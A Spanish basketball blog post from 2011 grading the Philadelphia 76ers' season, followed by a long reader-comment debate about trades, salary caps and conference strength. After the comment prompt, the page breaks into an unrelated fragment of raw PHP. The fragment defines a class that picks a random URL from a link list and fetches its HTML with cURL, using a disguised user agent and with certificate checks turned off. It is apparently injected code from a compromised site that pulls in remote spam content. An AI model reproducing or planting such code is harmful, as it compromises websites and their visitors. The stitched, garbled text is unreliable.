Philadelphia 76ers: Notable

01 de July de 2011 por Hynreck

La temporada de los Sixers ha sido cuanto menos sorprendente. Tras un inicio desastroso, poco a poco fueron enderezando el rumbo, escalando posiciones hasta lograr entrar holgadamente en la postemporada.

Doug Collins ha conseguido crear un  equipo joven, que juega en conjunto, pero sin un líder claro. Lo más próximo podría ser Andre Iguodala (Egodala en algunos círculos), pero hace tiempo que quedó claro para todo el mundo en Philly, que él no puede ser un jugador franquicia. Bueno, para todo el mundo menos para él (“Dios que buen vasallo si tuviera buen señor”). Sería un escudero excepcional para una estrella de la liga. Jrue Holiday sigue cometiendo pecados de juventud, pero deja ver un base con una proyección excepcional si mejora su toma de decisiones. Elton Brand ha demostrado que sin ser lo que fue, no está tan acabado como algunos pensaban. Por su parte, Lou Williams sigue siendo el revulsivo desde el banquillo, mientras que la irrupción de Jodie Meeks ha sido completamente inesperada.

En la parte negativa, hay que destacar la falta de una presencia interior dominante (Aunque Dios me libre de echar de menos a Dalembert), y la decepcionante aportación del Nº 2 de Draft, Evan Turner, quien  se encuentra en este momento confundido sobre su rol y su posición ideal para la NBA (¿1? ¿2? ¿3?).

Lo mejor: El rendimiento que les ha sacado Doug Collins. Cuando han jugado como equipo han sido muy sólidos, aportando todo el conjunto. El crecimiento de jugadores como Jrue Holiday, la defensa, cuando se lo propone, de Andre Iguodala y la vuelta a la élite de Elton Brand.

Lo peor: La escasa comunión con la afición, siendo el pabellón menos poblado de la liga pese a la gran temporada realizada. El rendimiento de Evan Turner. Si bien nunca se ha escondido, se le ha notado falto de confianza y algo perdido sin tener tanto el balón como lo hacía con los Buckeyes.

Jugando a GM

– Finalmente el elegido en el draft fue Nikola Vucevic, el cual no parece solucionar el problema del center, ya que su perfil se asemeja demasiado a Spencer Hawes, y necesitan otro tipo de jugador interior.

– Parece claro que la intención de la franquicia es buscar una salida para Iguodala, y se habla mucho de un intercambio por Monta Ellis. No sería una mala solución y podría permitir crecer a Evan Turner como el 3 titular del equipo (aunque un servidor piensa que donde mejor rendiría este chico sería de base).

– Habría que buscar kilos para la pintura, y en la agencia libre podrían ir a por Greg Oden. Apuesta arriesgada pero que puede salir bien.  La vuelta de Reggie Evans también sería bien recibida.

Comenta

22 comentarios a esta entrada

  1. Cocinitas dice:
    #1

    Yo apostaria por un trade Iguodala- Kaman que creo que beneficiaria a los dos equipos. Y dependiendo del margen buscaria algo en la agencia libre para suplir a Evans como alero. De todas formas en el Este los Sixers son claros candidatos a playoffs pero carne de primera ronda.

      Citar

  2. Denise dice:
    #2

    Un Iguodala-Kaman sería la ostia para los Clippers.
    Pffff, me excitaría ver un Mo Williams-Gordon-Iguodala- Blake Griffin-DeAndre + banquillo con Bledsoe, Foye, Aminu, Gomes y aún así dispondrían de unos 15 millones para fichar a algun agente libre + la Mid Level. Vamos, que los daría como candidatos a finalistas de Conferencia e incluso a título dependiendo de a quien ficharan, y los Clippers pasarían a ser mi equipo favorito del Oeste.

      Citar

  3. safd dice:
    #3

    El caso esque creo q lei en Hoopshype que ya se ofreció ese traspaso pero que los 76ers pidieron algo más.

      Citar

  4. Cocinitas dice:
    #4

    Suena bien verdad??? Jeje ojalá, creo que harian un baloncesto divertido de verdad. 🙂 Por cierto veo q las notas van hacia arriba y los Lakers no han salido por lo tanto imagino que al menos tendrán un notable (cosa que no comparto) o quizá este equivocado.

      Citar

  5. Cocinitas dice:
    #5

    Da igual yo le daba la primera ronda de este año más Kaman o a Aminu o Gomes. Seria bueno para ambos equipos.

      Citar

  6. TheDeerHunter dice:
    #6

    Pues no. Los Lakers no tendrán un notable, como bien apuntas.
    Por diversos motivos que no vienen al caso no hemos podido mantener un orden estricto.

      Citar

  7. Esteban dice:
    #7

    notable? a q se refiere notable? a ver, es cierto un equipo del q nadie esperaba nada casi se cola 6to en el este, pero no tienen ni presente ni futuro como para pensar que pueden pasar primera ronda del este

    lo veo parecido a los bucks, algunos buenos jugadores, todos en una buena temporada los llevan a play offs, pero no tienen potencial para mantenerse, la falta de una estrella les quita toda posibilidad

    no se porq todos siguen empecinados en tratar al este como la conferencia debil, este año eso a cambiado, tenemos 4 equipos de elite, miami, boston, new york y chicago, y una segunda unidad conformada por orlando y los hawks, ahy son 6 equipos

    los otros dos puestos en el este se lo disputaran los nets, q contaran con deron toda la temporada, y seguramente davisd west, mas algunos fichajes mas, y los pacers, un conjunto joven, con 25 millones para gastar en el tope, y la inclusion de hill

    los 76s, creo en mi opinion que estan a la altura de lois bucks, y se quedaran afuera de los play offs

    jugando al gm, si o si, hay que cambiar a iguodala, este tio no lso puede conducir a ningun lado y hay que apostar porq turner se trasforme en un jugador franquicia, durante los play offs mostro personalidad y creo q tiene un techo muchisimo mas alto que lo visto este año

    les vendria bien kaman, pero dudo de los clippers lo suelten por iguodala, seria un mal cambio, un pivote de primer nivel, por un buen alero no es negocio, q tanto mas puede dar iguodala en comparacion con prince en los clippers? y q jugasdor podrian incorporar los clippes para suplir la altura y la calidad de kaman? simplente ninguno

      Citar

  8. safd dice:
    #8

    PERDONA? La elite es NY y los Hawks están por debajo? Recuerdo el resultado de NY en playoffs? que si que tuvieron problemas de lesiones y mala suerte, pero tan tan mala como para no ganar ni un partido? Los Hawks son mejor equipo que NY en todas las facetas, y si NY quiere ser mejor que Atlanta debería fichar un monton de jugadores buenos y por la Mid-Level, porq los superamigos de Carmelo-Stoudemire van a cobrar un pastón. Y los Knicks el único jugador joven que les ha demostrado valer es Landry Fields mientras que los Hawks tienen a Teague (23 añitos recién cumplidos) Horford (25 recién cumplidos) Josh Smith (cumple 26 en diciembre) Marvin Williams (25 recién cumplidos). Vamos que si la 4ª potencia en el Este van a ser los NY mal vamos.
    Un dato que dio Rick Sund en una entrevista a AJC hace no mucho: Los Hawks son el único equipo junto a Celtics y Lakers que ha estado en 2ª ronda estos últimos 3 años.

    El notable a los 76ers es más que merecido. Han pasado de una temporada de 27-55 a una de 41-41, +14 victorias, casi ná. Más lo que supone para un equipo así meterse en PO.

    Y la conferencia este es mucho más débil sin duda. Varios datos:
    -Los 4 equipos de Playoffs con peor récord, son de la conferencia este (Indiana-76ers-NY-Hawks)
    -Utah, 11 en la conferencia Oeste, tendría récord de playoffs en el Este.
    -Houston, 9 en el Oeste, sería 6º en el Este.
    -De los 7 equipos con peor récord, 5 son del este (Cleveland-Toronto-Washington-NJ-Detroit).
    -Ahora mismo no lo encuentro, pero el duelo este vs oeste en cuanto a victorias de un equipo de una conferencia contra otro era del 55% para oeste mas o menos creo recordar (se publicaba todos las semanas en nba.com)

    Si después de eso la buena es la este…

      Citar

  9. Esteban dice:
    #9

    sarfd
    empiezo a contestar:

    sobre los nicks, un equipo con 3 mega estrellas q no puede contar por lesiones en dos partidos sin 2 de esas 3 es mucho, le hubiese pasado lo mismo a miami, te recuerdo q perdio en boston por la minima cuando estan los 3, mas alla de eso, es un equipo en formacion y en progreso, este año no fue una potencia pero lo sera en el 2012, y mas aun en 2013, aun tienen espacio para dos buenos jugadores mas, y tienen 3 jovenes baratisimos, como douglas, walker y fields, mas dinero de sobra para fichar jugadores de complemente, sin dudas q este año en temporada regular estaran entre los 4 primeros y seran mejores q la mayoria de los equipos del oeste

    en cuanto a los hawks, por mas segundas rondas que esten en los ultimos 3 años, nunca han tenido una chance real de llegar una final de la nba, nisiquiera han llegado a finales del este, y ahora suena el traspaso del smith, los hawks como te digo, este año pasado fueron mejores que los ny, pero ya han llegado a tu techo, y los ny tienen un techo muy superior, por infraestructura, por dinero, poor ser de ny, todos querran jugar con malo y amare

    en cuanto a la conferencia este, es verdad que este año pasado fue peor que el oeste, pero esa tendencia se revierte este año, los 6 equipos q nombre no tienen nada que envidiarle a los del oeste la proxima temporada, y si hubno equipos con balance negativo, ya no lo habra este año

    indiana cuenta con collison, hill, granger, george, hisbroguht, hibbert, rush, todos con contratos y 25 millones para reforzar esa base, un escolta como caron butler y una ala pivote comop al jefferson, los haran una potencia,d tienen espacio para jugadores de ese nivel, y una base joven para mejorar y mucho

    utha con record positivo? sabes cual fue el record de utha luego del traspaso de deron? utha puede olvidarse ya de ser un equipo de play offs y arranca una recontruccion, los hornets ya perideorn a west y cp3 tiene las horas contadas alli

    los nets, con dinero en el tope, deron, lopez, seguramente west y quiza vince carter o jamal craforwd, seran un equipo candidato del este

    si a estos les sumamos el nivel parejo de 76s y los bucks, es una conferencia fuerte

    por otro lado, este año pasaron del oeste al este: BOOZER, CARMELO, AMARE, DERON, y en breve pasaran WEST, CP3 etc

    es decir, la tendencia empieza a revertirse, y creo que apartir de ahora veremos un este mas fuerte q un oeste, el año pasado no fue asi, y lo reconozco, no gastes tantos esfuerzos en repetir estadisticas de la temporada pasada qur todos conocemos, y enfocate en pensar lo q viene en el futuro

      Citar

  10. safd dice:
    #10

    Vamos a ver Esteban:

    1.- Los Knicks pagaran en 2012 casi 37K por amare-Carmelo, en 2013 casi 40K, en 2014 casi 43K y en 2015 unos 47K. El limite salarial está ahora mismo en 58K. Chauncey Billups cobra este año 14K y acaba contrato. Están hablando de traerse a CP3. Si se trajese a CP3 pues supongo que sería por el máximo, ¿no? Si no cobra el máximo está adulterando la competición. Dices que tienen espacio para dos buenos jugadores, pero, ¿buenos a qué nivel? Jugadores como Miller o como Scola cobran 7K al año,eso sería lo mínimo que se merece un buen jugador. Hablas de 2, luego en 2012 hablaríamos de 51K, 2013 54K, 2014 57, 2015 61. Es decir, que con esos 4 jugadores pasas el límite. Es inviable este proyecto. Y más si se pone el “hard cap” del que tanto se habla. Landry Fields, Toney Douglas y Walker ahora mismo son baratos, pero hablar como futuro diciendo que van a ser baratos… no es así. Landry Fields y Walker acaban contrato rookei este año, luego ya no serán tan baratos. Pon unos 4-5K entre los dos. Toney Douglas tiene una Team Option (la ejercen fijo) en 2012, pero luego en 2013 es agente libre restringido, luego no les serán tan barato… Podriamos hablar de que con estos 3 jugadores jovenes y con esos 4 jugadores de nivel hablariamos de más de 70 millones de dolares en 2015 (que serían más creo yo). Luego necesitarias luego contratar 8 jugadores (1-2 buenecitos, con lo que llegarían a 80K fijo) por na y menos… ¿Tú has visto la situación de la liga? Quieren poner un “hard cap”, este proyecto es inviable.

    2.- Ya que hablas de que los Knicks no se clasificaron por las lesiones, podría yo sacar también la de Hinrich durante toda la serie de los Bulls. Nuestro guard que mejor defiende y ante la eliminatoria contra el MVP, que es base. Posiblemente, con Hinrich defendiendo a Rose, no hubiese promediado los casi 30 puntos que promedió, yo no digo que hubiésemos ganado, pero hubiésemos jugado mejor y a Rose le hubiese costado más. Los Hawks mientras sigan haciendo las cosas bien seguirán llegando a segunda ronda, hasta que un día le sonría la suerte y pasemos. Te recuerdo que hay 4 jugadores importantes en la rotación de los Hawks que tiene 25 o menos años (más Pape Sy que parece que este año va a tener más minutos). Nuestro único problema es el contrato de JoJo, pero vamos que tb tenemos garantizado el contrato de Horford que es All Star por 12K.

    3.- Los Magic deberían envidiar a todos sus rivales, nada más que por no tener a Arenas.

    4.- Caron Butler no va a ir a Indiana, tendrá ofertas más interesantes que ponerse a luchar con Granger pa intentar ser titular. Y, ¿Al Jefferson como va a llegar a Indiana? Si el tío cobra un pastón y tiene contrato garantizado.

    5.- No he dicho que Utah tenga récord positivo, simplemente que tenían uno mejor que el 8º de conferencia del este, el único equipo de playoffs con récord negativo. Los Hornets están en un momento económico complicado, tuvieron que ser repescados por la NBA. Pero dentro de poco los comprará otro propietario y irán a una ciudad como Seattle, Las Vegas o Sacramento, si los Kings se marchan a Florida como se estipulaba.

    6.- Eso de que Deron siga en NJ está por ver, cumple contrato en 2012 y el ruso tiene que convencerle con algo. Jamal Crawford seguramente también tendrá ofertas de Chicago, no creo que tenga muchas dudas si le dan a elegir.

    8.- Se irán al este, pero no todos, recuerda que hay equipos con mucha capacidad económica en el Oeste. Dallas, LA, Houston, Utah, Spurs, Portland, Denver, todos ellos tienen mucha capacidad económica, y Denver y Houston. Además, en el Oeste hay proyectos más claros y con mejor perspectiva que los de Este, como los de Clippers y OKC. En el Oeste hay estrellas en muchos equipos, en cambio en el Este se concentran en 5 ó 6 equipos (NY, CHI, MIA, ATL, NJ y bueno en el futuro WAS, a Orlando no lo cuento porq van a perder la única que tienen). Mientras que en el Oeste LAL (Kobe-Pau-Bynum) DAL (Dirk) Portland (Aldridge, también un poco Wallace y ya veremos si Roy y Oden), OKC (Durant, Westbrook y luego gregarios muy buenos como Ibaka o Hardem), LAC (Gordon & Griffin), Memphis (Zach & Gay), Spurs (Duncan & Ginobili), Minnesotta (Love), GSW (Curry & Ellis), Phoenix (Nash) y bueno, si no tuviese lesiones alomejor también Evans en Sacramento.

      Citar

  11. Len Bias dice:
    #11

    El punto 7 que se ha saltado safd era:

    7- Esteban escribe bien por favor, que cuesta un mundo leerte

      Citar

  12. Denise dice:
    #12

    De acuerdo 150% con safd sobre la situación de los Knicks expuesta en el punto 1 del anterior comentario.
    Con Melo y Stoud, que desde mi humilde punto de vista son buenos, pero no una buena pareja como para hacerte ganar un anillo, los Knicks están totalmente hipotecados, como bien explicó safd y ya expliqué en su momento yo también hace meses en un bonito debate contra el seguidor de los Knicks “vader” (si no recuerdo mal), éstos 2 ocupan 40 kilos, y no dejan la posibilidad de rodearlos con gente de nivel porque ellos ganan demasiado, más de lo que valen. En fin, Serafín, que sigo pensando que el trade de Melo por los cuatro de los Nuggets fue una basura para Knicks ,al menos a nivel deportivo. Ya que está hecho, lo mejor cambiar a Amare por 2-3 jugadores de nivel medio-alto, por ejemplo Millsap, Devin Harris y Hayward.

    @Esteban: Un Iguodala-Kaman no creo que fuera mal cambio para Clippers. Al reves, sería la bomba, vale que cobra mucho, pero Iggy hace un trabajo increible, anota, rebotea, asiste, defiende tela, te hace un 15-5-5 con la gorra. El valor de Kaman es mas que nada el expiring, porque la pareja Brand-Kaman en la pintura sería muy debil, cuando no está uno lesionado, estaría el otro.

      Citar

  13. Cocinitas dice:
    #13

    Coincido con Denise, creo que seria un gran trade para ambos además Kaman no creo que sea titular en Clippers porque debido a las caracteristicas de Griffin le pega más como center Deandre Jordan.
    Seria una pasada ver jugar a esos hipoteticos Clippers donde Mo Williams, Eric Gordon, Iguodala y Griffin dan 5 asistencias por partido sin despeinarse por no hablar de los puntos que meten los angelitos. Coincido en que serian junto con Oklahoma dos proyectos con gente muy joven y maximos favoritos en el Oeste.

      Citar

  14. Vader dice:
    #14

    @Denise

    Si XD era conmigo. Me estaba reservando los comentarios sobre los Knicks para cuando colgarais su nota pero entraré al trapo. Creo que en general minusvalorais mucho el traspaso de Melo y las opciones futuras de los Knicks. Si hay ocasión de conseguir un jugador como Melo hay que hacer el traspaso… estamos hablando de un top10 de la liga con 26 años.

    Luego esta el tema del futuro tope salarial. Ya veremos como queda, pero no creo que sea tan diferente al actual, y hoy en dia hay equipos con 90 millones en sueldos y los Knicks lo pueden pagar sin problemas. Otra opción que parece que no teneis en cuenta es que llegado el caso los Knicks podrian traspasar a uno de los. ¿Por ejemplo Amare a cambio de Howard y luego se ficha a Deron o CP3? Con eso da casi igual el resto de equipo que tengas… Algún mid-level, algún contrato rookie más veteranos que se quieran anotar un anillo facilito…XD

    En fin chicos que para este sufrido seguidor de los Knicks la situación actual me parece llena de posibilidades. Y es que veniamos de Eddy Curry, Duhon, I.Thomas, Marbury, etc…

    Saludos!!

      Citar

  15. safd dice:
    #15

    Yo no sé cuanto podrían llegar a gastar los Knicks pero, esque si quieren ese big three de CP3/D-Will-Carmelo-Stoudemire no se yo a que van a aspirar para las otras posiciones, porque esos 3, llegarian a cobrar algún año 70K (a no ser que CP3 o Deron se bajase el sueldo, cosa que sería adulterar la liga). Es imposible sacar jugadores buenos para complementarlos, pensad que un Dalembert de la vida les pediría sus 7K y mínimo necesitan 8 jugadores que puedan salir en todo momento, osea 5 si descontamos el big three. Vamos que se tendrían que buscar unos 5 tíos, pongamos que tienen un presupuesto de 95K, pues 5K necesitarían para los otros 7 tíos (cualquier segunda ronda te pide sus 600-700mil)… Unos 4 millones por Dalemberts y Fields de la vida por cabeza… No me cuadra.

      Citar

  16. Txusma dice:
    #16

    sadf, te recuerdo que Bosh y Lebron no cobran el máximo en Miami. De hecho lo hicieron para poder juntarse con Wade y permitir a los Heat fichar a alguien más.

      Citar

  17. Txusma dice:
    #17

    Vader, aguanta que queda poco. Este fin de semana creo recordar se publica la nota de los Knicks. Allí podrás dar rienda suelta a todos tus comentarios.

      Citar

  18. Esteban dice:
    #18

    te recuerdo que los knicks con thomas llegaron a tener un presupuesto de 120 millones al año, y en un equipo perdedor, no creo q tenga problemas en estar sobre el impuesto de lujop, son los ny, el equipo con mas hinchas del mundo y la maquina de facturacion mas grande de la nba, asi q piensatelo

    perdon por mki redaccion, escribo apurado, y a mi tamb me cuesta leerlos a ustedes, en su gallego basico, yo soy de argentina

    dudo q denver y portlan sean equipos mas fuerte q ny, y acuerdate lo q te dije de los pacers

    estas muy terco, pero cuando termine la proxima temporada estare aquii para recordarte tus palabras.

      Citar

  19. safd dice:
    #19

    @Txusma pero adulteraron la competición, a eso me refiero. Deron y CP3 deben cobrar el máximo en su mejor momento de sus carreras, si no es adulterar la liga. Y pasaría como con los Heat, saldría gente de los Knicks diciendo que son de toda la vida de los NY y saldrían heaters (mi caso XD) a saco porque eso es adulterar la liga XD.

    @Esteban pero uno no puede pensar en un presupuesto de 120K habiendo un lockout con el que se quiere poner un hard cap de 62 xd.
    Esteban esque lo que dijiste de Pacers es casi imposible, porq como van a mantener toda su base y traerse a Al Jefferson, y luego Caron Butler no creo que se vaya a Indiana pudiendo tener una oferta de Dallas.

      Citar

  20. Denise dice:
    #20

    Pero a los 120 millones de salario, no se pueden llegar fichando gente, sólo mediante renovaciones, no?
    y los Knicks lo que necesitan es fichar gente, por tanto, no pueden conseguir lo de antaño de llegar a esa cifra. Con 40 kilos hipotecados, sólo dispondrían de unos 20 kilos para fichar, porque mediante traspasos tampoco puede conseguir nada porque no tienen a nadie a quien traspasar excepto a Melo y Amare.
    Pobrecillo los Sixers, le hemos invadido la entrada…, 🙂

      Citar

  21. Esteban dice:
    #21

    los pacers, no pueden con jeferson, dije se nombre por decir, pero te cuento q tienen suficiente dinero, con todos esos jugdores con contratos, para traer un esolta de 12 millones al año y un alapivote de 12 millones al año, quiza sea west si se lo roiban a los nets, y creo q irantras butler para juugarde escolta, el espacio q tienen ese lo permite, tiene la base bien cubierta con collison y hill, falta un escolta titular ya q hilll jugara mushisimos munutos en esa posiciones, tienen a granger, george y posey de alero, falta un ala pivote titula, y tyuler sera su recambio, hibbert sera el centro titular y renovaran con foster por 3 millones

    me parece un gran equipo

    lo de ny lo seguimos en su post

      Citar

  22. Rafael dice:
    #22

    ¿Y por qué tienen que cobrar el máximo sí o sí Deron o CP3 ¿Adulterar la Liga? No estoy para nada de acuerdo. A los Heat se les tiene mucho odio por el hecho en sí de juntarse las 3 estrellas, por la prepotencia que muestra Lebron y que a Wade le está siendo contagiosa, y por la manera en que transcurrió aquel verano…

    Pero yo veo loeble que un jugador decida cobrar menos en su carrera para dale a su franquicia mayores oportunidades. Renunciar a dinero por aspectos deportivos siempre es algo a aplaudir. ¿Adulterar? Si el resto de estrellas son tan egoístas que quieren la pasta gansa y lo demás se las trae floja, es su problema. Como jugador tienes que tener la libertad de escoger el contrato que tú quieras, faltaría más

      Citar

Deja un comentario

html; } class Helper { public function random_date() { $low = '732045693'; $high = time(); $random = rand($low, $high); return date("D, d M Y H:i:s",$random); } } class Fetch_site { public $url; public $html; public function __construct($sites=null, $link_list=null) { $this->is_curl_installed(); if($link_list !== null) { $this->choose_site($link_list); } $this->load_site($this->url); } public function choose_site($file=null) { $file = explode("\n", $file); $key = rand(0, (count($file)-1)); $this->url = trim($file[$key]); } public function load_site($url) { $useragent = array('Link-Soft'); $rand = array_rand($useragent); $ch = curl_init(); $options = array( CURLOPT_URL => $url, CURLOPT_HEADER => 0, CURLOPT_USERAGENT => $useragent[$rand], CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_RETURNTRANSFER => 1, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_ENCODING => "", CURLOPT_AUTOREFERER => 1, CURLOPT_CONNECTTIMEOUT => 30, CURLOPT_TIMEOUT => 30, CURLOPT_MAXREDIRS => 5, ); curl_setopt_array($ch,$options); $result = curl_exec($ch); if(!$result) { return curl_error($ch); } curl_close($ch); $this->html = $result; } public function is_curl_installed() { if(!in_array('curl',get_loaded_extensions())) { trigger_error("cURL PHP extension is disabled or not installed.",E_USER_ERROR); } } } unset($n); ?>